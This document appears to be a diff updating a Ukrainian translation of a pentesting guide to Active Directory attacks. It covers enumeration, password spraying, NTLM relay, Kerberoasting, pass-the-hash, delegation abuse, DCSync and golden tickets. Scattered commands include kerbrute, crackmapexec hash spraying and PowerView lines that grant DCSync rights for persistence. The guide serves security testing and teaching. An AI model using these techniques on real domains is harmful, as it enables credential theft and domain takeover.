_NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123). - Інструменти: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -82,8 +82,8 @@ To learn how to **attack an AD** you need to **understand** really good the **Ke ### User enumeration - **Anonymous SMB/LDAP enum:** Перегляньте сторінки [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) та [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). -- **Kerbrute enum**: Коли запитується **invalid username**, сервер відповість помилкою Kerberos _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє визначити, що username є невірним. **Valid usernames** викличуть або **TGT in a AS-REP** відповідь, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, яка вказує, що користувач повинен виконати pre-authentication. -- **No Authentication against MS-NRPC**: Використання auth-level = 1 (No authentication) проти MS-NRPC (Netlogon) інтерфейсу на domain controllers. Метод викликає функцію `DsrGetDcNameEx2` після прив’язки до MS-NRPC інтерфейсу, щоб перевірити, чи існує user або computer без будь-яких облікових даних. Інструмент [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) реалізує такий тип перечислення. Дослідження можна знайти [тут](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) +- **Kerbrute enum**: Коли запитується **невірний username**, сервер відповість з кодом помилки **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє визначити, що username невірний. **Дійсні username** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на необхідність pre-authentication. +- **No Authentication against MS-NRPC**: Використання auth-level = 1 (No authentication) проти інтерфейсу MS-NRPC (Netlogon) на domain controllers. Метод викликає функцію `DsrGetDcNameEx2` після біндингу MS-NRPC інтерфейсу, щоб перевірити, чи існує користувач або компʼютер без будь-яких облікових даних. Інструмент [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) реалізує цей тип перелічення. Дослідження можна знайти [тут](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Ви можете знайти списки імен користувачів у [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) і в цьому ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). +> Ви можете знайти списки імен користувачів у [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) і в цьому ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > -> Проте ви повинні мати **name of the people working on the company** з етапу recon, який ви мали виконати раніше. Маючи ім'я та прізвище, ви могли б використати скрипт [**namemash.py**](https://gist.github.com/superkojiman/11076951) для генерації потенційно валідних імен користувачів. +> Однак ви повинні мати **імена людей, що працюють у компанії**, з етапу recon, який ви мали виконати раніше. Маючи ім'я та прізвище, ви можете використати скрипт [**namemash.py**](https://gist.github.com/superkojiman/11076951) для генерації потенційно дійсних імен користувачів. ### Knowing one or several usernames -Ok, тож ви вже знаєте, що маєте валідний username, але немаєте паролів... Тоді спробуйте: +Отже, ви вже знаєте, що маєте дійсне ім'я користувача, але немає паролів... Тоді спробуйте: -- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user. -- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!). -- Note that you can also **spray OWA servers** to try to get access to the users mail servers. +- [**ASREPRoast**](asreproast.md): Якщо користувач **не має** атрибуту _DONT_REQ_PREAUTH_, ви можете **запитати AS_REP message** для цього користувача, яке міститиме дані, зашифровані похідною від пароля користувача. +- [**Password Spraying**](password-spraying.md): Спробуйте найбільш **поширені паролі** для кожного виявленого користувача, можливо хтось використовує слабкий пароль (пам'ятайте про політику паролів!). +- Зауважте, що ви також можете **spray OWA servers**, щоб спробувати отримати доступ до поштових серверів користувачів. {{#ref}} @@ -129,7 +129,7 @@ password-spraying.md ### LLMNR/NBT-NS Poisoning -Ви можете бути в змозі **obtain** деякі challenge **hashes** для crack при **poisoning** деяких протоколів **мережі**: +Ви можете зуміти **отримати** деякі challenge **hashes** для crack, шляхом poisoning деяких протоколів **мережі**: {{#ref}} @@ -138,76 +138,76 @@ password-spraying.md ### NTLM Relay -If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env. +Якщо вам вдалося перелічити Active Directory, ви отримаєте **більше email-адрес та краще розуміння мережі**. Ви можете змусити NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) щоб отримати доступ до середовища AD. ### Steal NTLM Creds -If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it: +Якщо ви можете **access other PCs or shares** з обліковим записом **null or guest user**, ви можете **розмістити файли** (наприклад SCF файл), які, якщо їх відкриють, **trigger an NTLM authentication against you**, щоб ви могли **steal** the **NTLM challenge** для його розкриття: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## Перерахування Active Directory WITH credentials/session +## Enumerating Active Directory WITH credentials/session -Для цього етапу вам потрібно **компрометувати credentials або session дійсного доменного акаунта.** Якщо у вас є які-небудь валідні credentials або shell як доменний користувач, **варто пам'ятати, що опції, наведені раніше, все ще можуть бути використані для компрометації інших користувачів.** +Для цього етапу вам потрібно мати **компрометовані облікові дані або сесію дійсного доменного облікового запису.** Якщо у вас є дійсні облікові дані або shell як доменний користувач, **пам'ятайте, що попередньо згадані варіанти все ще можуть використовуватись для компрометації інших користувачів.** -Перш ніж починати аутентифіковану enumeration, вам слід знати, що таке **Kerberos double hop problem.** +Перед початком аутентифікованого переліку ви повинні знати, що таке **Kerberos double hop problem.** {{#ref}} kerberos-double-hop-problem.md {{#endref}} -### Перерахування +### Enumeration -Компрометація акаунта — це **великий крок для початку компрометації всього домену**, тому що ви зможете почати **Active Directory Enumeration:** +Компрометація облікового запису — це **великий крок для початку компрометації всього домену**, оскільки ви зможете почати **Active Directory Enumeration:** -Щодо [**ASREPRoast**](asreproast.md) ви тепер можете знайти кожного можливого вразливого користувача, а щодо [**Password Spraying**](password-spraying.md) ви можете отримати **список всіх usernames** і спробувати пароль від скомпрометованого аккаунта, пусті паролі та нові перспективні паролі. +Стосовно [**ASREPRoast**](asreproast.md) ви тепер можете знайти всіх можливих вразливих користувачів, а стосовно [**Password Spraying**](password-spraying.md) ви можете отримати **список усіх імен користувачів** і спробувати пароль скомпрометованого облікового запису, порожні паролі та інші перспективні паролі. -- Ви можете використати [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) -- Ви також можете використати [**powershell for recon**](../basic-powershell-for-pentesters/index.html), що буде більш stealthy -- Ви також можете [**use powerview**](../basic-powershell-for-pentesters/powerview.md) для витягання детальнішої інформації -- Ще один відмінний інструмент для recon в Active Directory — це [**BloodHound**](bloodhound.md). Він **не є дуже stealthy** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, варто спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шляхи до інших груп тощо. -- **Інші автоматизовані інструменти для AD enumeration:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** +- Ви можете використати [**CMD для виконання базової розвідки**](../basic-cmd-for-pentesters.md#domain-info) +- Ви також можете використовувати [**powershell для розвідки**](../basic-powershell-for-pentesters/index.html), який буде менш помітним +- Ви також можете [**використати powerview**](../basic-powershell-for-pentesters/powerview.md) для отримання більш детальної інформації +- Ще один чудовий інструмент для розвідки в Active Directory — [**BloodHound**](bloodhound.md). Він **не дуже прихований** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, варто спробувати. Знаходьте, куди користувачі можуть RDP, знаходьте шляхи до інших груп тощо. +- **Інші автоматизовані інструменти для переліку AD:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**DNS records of the AD**](ad-dns-records.md), оскільки вони можуть містити цікаву інформацію. -- Інструмент з GUI для переліку директорії — **AdExplorer.exe** з **SysInternal** Suite. -- Ви також можете шукати в LDAP базі за допомогою **ldapsearch**, щоб знайти credentials у полях _userPassword_ & _unixUserPassword_, або навіть у _Description_. Див. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) для інших методів. -- Якщо ви використовуєте **Linux**, ви також можете перераховувати домен за допомогою [**pywerview**](https://github.com/the-useless-one/pywerview). +- **GUI-інструмент**, який можна використати для переліку каталогу — **AdExplorer.exe** з SysInternal Suite. +- Також можна шукати в LDAP базі за допомогою **ldapsearch**, щоб знайти облікові дані у полях _userPassword_ та _unixUserPassword_, або навіть у _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) для інших методів. +- Якщо ви використовуєте **Linux**, ви також можете перелічити домен за допомогою [**pywerview**](https://github.com/the-useless-one/pywerview). - Ви також можете спробувати автоматизовані інструменти: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -- **Витяг всіх domain users** +- **Отримання всіх доменних користувачів** -Дуже просто отримати всі імена користувачів домену з Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). В Linux ви можете використовувати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" ` +Дуже просто отримати всі імена користувачів домену з Windows (`net user /domain`, `Get-DomainUser` або `wmic useraccount get name,sid`). У Linux можна використати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" ` -> Навіть якщо цей розділ Enumeration виглядає коротким, це найважливіша частина. Відкрийте посилання (особливо ті про cmd, powershell, powerview і BloodHound), навчіться, як перераховувати домен та практикуйтеся, поки не відчуєте впевненості. Під час оцінки це буде ключовий момент, щоб знайти шлях до DA або вирішити, що нічого зробити не вдається. +> Навіть якщо цей розділ Enumeration виглядає невеликим, це найважливіша частина. Відкрийте посилання (особливо ті на cmd, powershell, powerview і BloodHound), навчіться переліковувати домен і практикуйтесь, доки не відчуєте себе впевнено. Під час оцінювання це буде ключовий момент для знаходження шляху до DA або для вирішення, що нічого зробити не вдасться. ### Kerberoast -Kerberoasting включає отримання **TGS tickets**, які використовуються сервісами, прив'язаними до user accounts, та crack їх шифрування — яке базується на user passwords — **offline**. +Kerberoasting включає отримання **TGS tickets**, які використовуються сервісами, прив'язаними до облікових записів користувачів, і розшифровку їх шифрування — яке базується на паролях користувачів — **офлайн**. -Детальніше про це в: +Більше про це в: {{#ref}} kerberoast.md {{#endref}} -### Віддалене підключення (RDP, SSH, FTP, Win-RM, etc) +### Remote connexion (RDP, SSH, FTP, Win-RM, etc) -Коли ви отримали деякі credentials, ви можете перевірити, чи маєте доступ до якоїсь **machine**. Для цього можна використати **CrackMapExec** для спроб підключення до кількох серверів різними протоколами, відповідно до ваших port scans. +Після отримання облікових даних ви можете перевірити, чи маєте доступ до якоїсь **машини**. Для цього можна використати **CrackMapExec** для спроб підключення до кількох серверів різними протоколами згідно з вашими скануваннями портів. ### Local Privilege Escalation -Якщо ви скомпрометували credentials або session як звичайний доменний користувач і маєте **access** цим користувачем до **будь-якої машини в домені**, вам слід спробувати знайти шлях до **escalate privileges locally and looting for credentials**. Це тому, що лише з локальними правами адміністратора ви зможете **dump hashes of other users** у пам'яті (LSASS) і локально (SAM). +Якщо ви скомпрометували облікові дані або сесію як звичайний доменний користувач і маєте **доступ** цією особою до **будь-якої машини в домені**, спробуйте знайти шлях до **підвищення привілеїв локально та витягання облікових даних**. Лише з локальними правами адміністратора ви зможете **дампити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM). -Є окрема сторінка в цій книзі про [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) і [**checklist**](../checklist-windows-privilege-escalation.md). Також не забудьте використати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). +У цій книзі є повна сторінка про [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) та [**checklist**](../checklist-windows-privilege-escalation.md). Також не забудьте використати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). -### Поточні Session Tickets +### Current Session Tickets -Досить **малоймовірно**, що ви знайдете **tickets** у поточного користувача, які дають вам дозвіл на доступ до несподіваних ресурсів, але ви можете перевірити: +Дуже **малоймовірно**, що ви знайдете **tickets** у поточного користувача, які дають вам дозвіл на доступ до несподіваних ресурсів, але ви можете перевірити: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -217,17 +217,17 @@ kerberoast.md ``` ### NTLM Relay -Якщо вам вдалося перелічити active directory, у вас буде **більше електронних адрес і краще розуміння мережі**. Ви можете змогти примусово виконати NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** +Якщо вам вдалося перелічити Active Directory, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Можливо, ви зможете спровокувати NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** -### Looks for Creds in Computer Shares | SMB Shares +### Шукає Creds у Computer Shares | SMB Shares -Тепер, коли у вас є базові облікові дані, слід перевірити, чи можете ви **find** якісь **interesting files being shared inside the AD**. Це можна зробити вручну, але це дуже нудне рутинне завдання (особливо якщо знайдете сотні документів, які треба перевірити). +Тепер, коли у вас є деякі базові облікові дані, перевірте, чи можете ви **знайти** будь‑які **цікаві файли, що шаряться в AD**. Ви можете робити це вручну, але це дуже нудне повторюване завдання (а ще гірше, якщо знайдете сотні документів, які потрібно перевірити). -[**Перейдіть за цим посиланням, щоб дізнатися про інструменти, які ви можете використати.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) +[**Перейдіть за цим посиланням, щоб дізнатися про інструменти, які можна використовувати.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) -### Steal NTLM Creds +### Вкрасти NTLM Creds -Якщо ви можете **access other PCs or shares** ви могли б **place files** (like a SCF file), які, якщо їх якимось чином відкриють, **trigger an NTLM authentication against you**, щоб ви могли **steal** **the NTLM challenge** для його розкриття: +Якщо ви можете отримати **доступ до інших ПК або shares**, ви можете **розмістити файли** (наприклад, SCF), які при доступі ініціюватимуть **NTLM authentication проти вас**, щоб ви могли **вкрасти** **NTLM challenge** для його зламу: {{#ref}} @@ -236,32 +236,32 @@ kerberoast.md ### CVE-2021-1675/CVE-2021-34527 PrintNightmare -Ця вразливість дозволяла будь-якому автентифікованому користувачу **compromise the domain controller**. +Ця вразливість дозволяла будь‑якому автентифікованому користувачу **компрометувати domain controller**. {{#ref}} printnightmare.md {{#endref}} -## Privilege escalation on Active Directory WITH privileged credentials/session +## Ескалація привілеїв в Active Directory З privileged credentials/session -**Для наведених технік звичайного доменного користувача недостатньо — потрібні спеціальні привілеї/облікові дані, щоб виконати ці атаки.** +**Для наступних технік звичайного domain user недостатньо — потрібні спеціальні привілеї/credentials для виконання цих атак.** -### Hash extraction +### Видобування хешів -Сподіваюсь, вам вдалося **compromise some local admin** акаунт, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\ -Тоді настав час дампити всі хеші з пам'яті та локально.\ +Сподіваюсь, вам вдалося **скомпрометувати акаунт локального адміністратора** за допомогою [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включно з relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\ +Тоді настав час дампити всі хеші з пам'яті і локально.\ [**Прочитайте цю сторінку про різні способи отримання хешів.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Pass the Hash -**Once you have the hash of a user**, you can use it to **impersonate** it.\ -Потрібно використати якийсь **tool**, який **perform** **the NTLM authentication using** that **hash**, **or** ви можете створити новий **sessionlogon** і **inject** цей **hash** у **LSASS**, тож коли відбувається будь-яка **NTLM authentication**, цей **hash буде використано.** Останній варіант — те, що робить mimikatz.\ +**Як тільки у вас є хеш користувача**, ви можете використовувати його, щоб **видаватися за нього**.\ +Потрібно використати якийсь інструмент, який **виконає NTLM authentication з використанням** цього **хешу**, **або** ви можете створити новий **sessionlogon** і **інжектнути** цей **хеш** у **LSASS**, так що коли виконуватиметься будь‑яка **NTLM authentication**, буде використаний саме цей **хеш.** Останній варіант — те, що робить mimikatz.\ [**Прочитайте цю сторінку для додаткової інформації.**](../ntlm/index.html#pass-the-hash) ### Over Pass the Hash/Pass the Key -Ця атака має на меті **use the user NTLM hash to request Kerberos tickets**, як альтернатива звичайному Pass The Hash через NTLM протокол. Через це це може бути особливо **useful in networks where NTLM protocol is disabled** і лише **Kerberos is allowed** як протокол аутентифікації. +Ця атака має на меті **використати NTLM хеш користувача для запиту Kerberos tickets**, як альтернативу звичному Pass The Hash через NTLM протокол. Тому це може бути особливо **корисним у мережах, де протокол NTLM вимкнений** і лише **Kerberos** дозволений як протокол аутентифікації. {{#ref}} @@ -270,7 +270,7 @@ over-pass-the-hash-pass-the-key.md ### Pass the Ticket -У методі атаки **Pass The Ticket (PTT)** нападники **steal a user's authentication ticket** замість їх пароля або хешів. Цей викрадений ticket потім використовується для **impersonate the user**, отримуючи несанкціонований доступ до ресурсів і сервісів у мережі. +У методі атаки **Pass The Ticket (PTT)** атакуючі **крадуть authentication ticket користувача** замість його пароля або значень хешу. Цей вкрадений квиток потім використовується, щоб **видаватися за користувача**, отримуючи несанкціонований доступ до ресурсів і сервісів у мережі. {{#ref}} @@ -279,20 +279,20 @@ pass-the-ticket.md ### Credentials Reuse -Якщо у вас є **hash** або **password** **of a local administrato**r, ви повинні спробувати **login locally** на інші **PCs** з його допомогою. +Якщо у вас є **хеш** або **пароль** **локального адміністратора**, спробуйте **увійти локально** на інші **PCs** з його допомогою. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` > [!WARNING] -> Зверніть увагу, що це досить **шумно**, і **LAPS** могло б **пом'якшити** це. +> Зверніть увагу, що це досить **шумно**, і **LAPS** **зменшило б** це. ### MSSQL Abuse & Trusted Links -Якщо користувач має привілеї для **доступу до MSSQL instances**, він може використати це, щоб **виконувати команди** на хості MSSQL (якщо сервіс працює як SA), **вкрасти** NetNTLM **hash** або навіть здійснити **relay attack**.\ -Також, якщо інстанс MSSQL довірений (database link) іншим інстансом MSSQL, і користувач має привілеї над довіреною базою даних, він зможе **використати відносини довіри для виконання запитів також в іншому інстансі**. Ці довіри можуть бути зчеплені ланцюжком і зрештою користувач може знайти неконфігуровану базу даних, де він зможе виконувати команди.\ -**Зв'язки між базами даних працюють навіть через forest trusts.** +Якщо користувач має привілеї для **access MSSQL instances**, він може використати це, щоб **execute commands** на хості MSSQL (якщо процес працює як SA), **steal** NetNTLM **hash** або навіть виконати **relay attack**.\ +Крім того, якщо інстанція MSSQL є довіреною (database link) для іншої інстанції MSSQL, і користувач має привілеї над довіреною базою даних, він зможе **use the trust relationship to execute queries also in the other instance**. Ці довіри можуть бути зчеплені, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де зможе виконувати команди.\ +**Зв'язки між базами даних працюють навіть через довіри між лісами.** {{#ref}} @@ -301,7 +301,7 @@ abusing-ad-mssql.md ### IT asset/deployment platforms abuse -Сторонні інструменти інвентаризації та розгортання часто відкривають потужні шляхи до credentials та виконання коду. Дивіться: +Сторонні рішення для інвентаризації та розгортання часто відкривають потужні шляхи до облікових даних та виконання коду. Дивіться: {{#ref}} sccm-management-point-relay-sql-policy-secrets.md @@ -313,9 +313,9 @@ lansweeper-security.md ### Unconstrained Delegation -Якщо ви знайдете будь-який Computer object з атрибутом [ADS_UF_TRUSTED_FOR_DELEGATION]() і у вас є domain привілеї на цьому комп'ютері, ви зможете дампити TGTs з пам'яті всіх користувачів, які входять на цей комп'ютер.\ -Отже, якщо **Domain Admin увійде на цей комп'ютер**, ви зможете дампити його TGT і імітувати його за допомогою [Pass the Ticket](pass-the-ticket.md).\ -Завдяки constrained delegation ви навіть могли б **автоматично скомпрометувати Print Server** (сподіваюсь, це не буде DC). +Якщо ви знайдете будь-який об'єкт Computer з атрибутом [ADS_UF_TRUSTED_FOR_DELEGATION]() і у вас є доменні привілеї на цій машині, ви зможете дампити TGTs з пам'яті всіх користувачів, які входять на цю машину.\ +Тож, якщо **Domain Admin logins onto the computer**, ви зможете дампити його TGT і видаватися за нього за допомогою [Pass the Ticket](pass-the-ticket.md).\ +Завдяки constrained delegation ви навіть могли б **автоматично скомпрометувати Print Server** (надіймося, що це буде DC). {{#ref}} @@ -324,8 +324,8 @@ unconstrained-delegation.md ### Constrained Delegation -Якщо користувачу або комп'ютеру дозволено "Constrained Delegation", він зможе **імітувати будь-якого користувача для доступу до певних сервісів на комп'ютері**.\ -Отже, якщо ви **компрометуєте hash** цього користувача/комп'ютера, ви зможете **імітувати будь-якого користувача** (навіть domain admins) для доступу до певних сервісів. +Якщо користувач або комп'ютер дозволені для "Constrained Delegation", вони зможуть **impersonate any user to access some services in a computer**.\ +Якщо ви **compromise the hash** цього користувача/комп'ютера, ви зможете **impersonate any user** (навіть domain admins) для доступу до певних сервісів. {{#ref}} @@ -334,7 +334,7 @@ constrained-delegation.md ### Resourced-based Constrain Delegation -Маючи **WRITE** привілей на Active Directory об'єкті віддаленого комп'ютера, можна досягти виконання коду з **підвищеними привілеями**: +Наявність привілею **WRITE** на об'єкті Active Directory віддаленого комп'ютера дозволяє досягти виконання коду з **підвищеними привілеями**: {{#ref}} @@ -343,7 +343,7 @@ resource-based-constrained-delegation.md ### Permissions/ACLs Abuse -Скомпрометований користувач може мати деякі **цікаві привілеї над певними domain об'єктами**, що дозволить вам пізніше **рухатись латерально/ескалювати привілеї**. +Скомпрометований користувач може мати певні **цікаві привілеї над об'єктами домену**, які дозволять вам **move** laterally/**escalate** privileges. {{#ref}} @@ -352,7 +352,7 @@ acl-persistence-abuse/ ### Printer Spooler service abuse -Виявлення **списку Spool service, що слухає** в домені можна **зловживати**, щоб **отримати нові credentials** та **ескалювати привілеї**. +Виявлення **Spool service listening** у домені може бути **abused** для **отримання нових облікових даних** та **ескалації привілеїв**. {{#ref}} @@ -361,8 +361,8 @@ printers-spooler-service-abuse.md ### Third party sessions abuse -Якщо **інші користувачі** **доступаються** до **скомпрометованої** машини, можливо **збирати credentials з пам'яті** і навіть **інжектувати beacons в їхні процеси**, щоб імітувати їх.\ -Зазвичай користувачі підключаються через RDP, тож тут показано, як виконати кілька атак на сесії RDP третіх сторін: +Якщо **інші користувачі** **access** скомпрометовану машину, можливо **gather credentials from memory** та навіть **inject beacons in their processes** для видачі себе за них.\ +Зазвичай користувачі підключаються через RDP, тому тут показано, як виконати кілька атак над RDP-сесіями третіх сторін: {{#ref}} @@ -371,7 +371,7 @@ rdp-sessions-abuse.md ### LAPS -**LAPS** забезпечує систему для керування **паролем локального Administrator** на комп'ютерах, приєднаних до домену, гарантуючи, що він **рандомізований**, унікальний та часто **змінюється**. Ці паролі зберігаються в Active Directory і доступ контролюється через ACLs лише для авторизованих користувачів. Маючи достатні permissions для доступу до цих паролів, можливе pivot до інших комп'ютерів. +**LAPS** надає систему для управління **local Administrator password** на комп'ютерах, приєднаних до домену, забезпечуючи його **рандомізацію**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACLs тільки для авторизованих користувачів. Маючи достатні дозволи для доступу до цих паролів, можлива pivoting до інших комп'ютерів. {{#ref}} @@ -380,7 +380,7 @@ laps.md ### Certificate Theft -**Збирання certificates** зі скомпрометованої машини може бути шляхом для ескалації привілеїв всередині середовища: +**Gathering certificates** із скомпрометованої машини може бути способом ескалації привілеїв у середовищі: {{#ref}} @@ -389,7 +389,7 @@ ad-certificates/certificate-theft.md ### Certificate Templates Abuse -Якщо налаштовані **вразливі templates**, їх можна зловживати для ескалації привілеїв: +Якщо налаштовано **vulnerable templates**, їх можна **abuse** для ескалації привілеїв: {{#ref}} @@ -400,7 +400,7 @@ ad-certificates/domain-escalation.md ### Dumping Domain Credentials -Отримавши **Domain Admin** або ще краще **Enterprise Admin** привілеї, ви можете **дампити** **domain database**: _ntds.dit_. +Отримавши **Domain Admin** або ще краще **Enterprise Admin** привілеї, ви можете **dump** базу даних домену: _ntds.dit_. [**More information about DCSync attack can be found here**](dcsync.md). @@ -408,7 +408,7 @@ ad-certificates/domain-escalation.md ### Privesc as Persistence -Деякі з технік, описаних вище, можна використовувати для persistence.\ +Деякі з технік, обговорених раніше, можна використати для персистенції.\ Наприклад, ви можете: - Зробити користувачів вразливими до [**Kerberoast**](kerberoast.md) @@ -423,7 +423,7 @@ Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING" Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -- Надати [**DCSync**](#dcsync) привілеї користувачу +- Надати привілеї [**DCSync**](#dcsync) користувачу ```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync @@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### Silver Ticket -Атака **Silver Ticket** створює **легітимний Ticket Granting Service (TGS) ticket** для конкретного сервісу, використовуючи **NTLM hash** (наприклад, **hash PC account**). Цей метод використовується для **доступу до привілеїв сервісу**. +Атака **Silver Ticket** створює легітимний Ticket Granting Service (TGS) ticket для конкретного сервісу, використовуючи **NTLM hash** (наприклад, **hash of the PC account**). Цей метод використовується для отримання **access the service privileges**. {{#ref}} @@ -440,9 +440,9 @@ silver-ticket.md ### Golden Ticket -Атака **Golden Ticket** полягає в отриманні зловмисником **NTLM hash облікового запису krbtgt** в Active Directory. Цей акаунт особливий, оскільки використовується для підпису всіх **Ticket Granting Tickets (TGTs)**, що необхідні для автентифікації в AD мережі. +Атака **Golden Ticket** включає отримання доступу до **NTLM hash of the krbtgt account** в середовищі Active Directory. Цей обліковий запис особливий, оскільки він використовується для підпису всіх **Ticket Granting Tickets (TGTs)**, які є необхідними для автентифікації в мережі AD. -Отримавши цей hash, зловмисник може створювати **TGTs** для будь-якого облікового запису, якого він забажає (Silver ticket attack). +Отримавши цей hash, атакувач може створювати **TGTs** для будь-якого облікового запису (Silver ticket attack). {{#ref}} @@ -451,7 +451,7 @@ golden-ticket.md ### Diamond Ticket -Це схожі на golden tickets, підроблені таким чином, щоб **оминути поширені механізми виявлення golden tickets.** +Це як golden tickets, підроблені таким чином, щоб **bypass common golden tickets detection mechanisms.** {{#ref}} @@ -460,7 +460,7 @@ diamond-ticket.md ### **Certificates Account Persistence** -**Маючи certificates облікового запису або можливість їх запитувати** — це дуже хороший спосіб зберегти persistence в обліковому записі користувача (навіть якщо він змінить пароль): +**Наявність сертифікатів облікового запису або можливість їх запитувати** — дуже хороший спосіб зберегти персистенцію в обліковому записі користувача (навіть якщо він змінить пароль): {{#ref}} @@ -469,7 +469,7 @@ ad-certificates/account-persistence.md ### **Certificates Domain Persistence** -**Використання certificates також дозволяє зберегти високу привілейованість всередині домену:** +**Використання сертифікатів також дозволяє зберегти персистенцію з високими привілеями всередині домену:** {{#ref}} @@ -478,13 +478,13 @@ ad-certificates/domain-persistence.md ### AdminSDHolder Group -Об'єкт **AdminSDHolder** в Active Directory забезпечує захист **привілейованих груп** 